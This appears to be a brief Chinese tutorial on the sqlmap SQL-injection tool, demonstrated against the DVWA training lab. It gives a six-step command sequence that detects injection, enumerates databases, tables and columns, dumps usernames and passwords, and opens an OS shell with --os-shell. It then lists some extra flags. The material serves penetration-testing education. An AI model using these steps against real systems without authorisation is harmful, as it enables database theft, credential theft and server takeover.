sqlmap简单使用方法

sqlmap使用

注入点  
http://1xx.xxx.xxx.xxxx/dvwa/vulnerabilities/sqli/index.php?id=1&Submit=Submit#
通过burp抓包  cookie：security=low;
PHPSESSID=dmvbd4ijv2cm949sgtd69mqpd3

经典六步法：

1：
-u “xxx” --cookie="yyy" //带上cookie对url进行注入探测

2： -u “xxx” --cookie=“yyy” --current-db //对数据库名进行获取

3： -u “xxx” --cookie=“yyy” -D dvwa --tables //对数据库dvwa的表名进行枚举

4： -u “xxx” --cookie=“yyy” -D dvwa -T users --columns //对dvwa库里的名为users表的列名进行枚举

5： -u “xxx” --cookie=“yyy” -D dvwa -T users -C name，password --dump //探测user表name和password字段

6：
-u “xxx” --cookie=“yyy” --os-shell //获取shell，选择后台语言

其他：

--help 显示帮助信息
-v x //x=0~6,不同级别显示不同程序的过程信息，数值越大，越详细
--dbs 列出所有数据库

--users 显示当前登录的用户’root‘@‘localhost’

--purge-output 清除之前的缓存日志
--password 对跑出来的密码进行枚举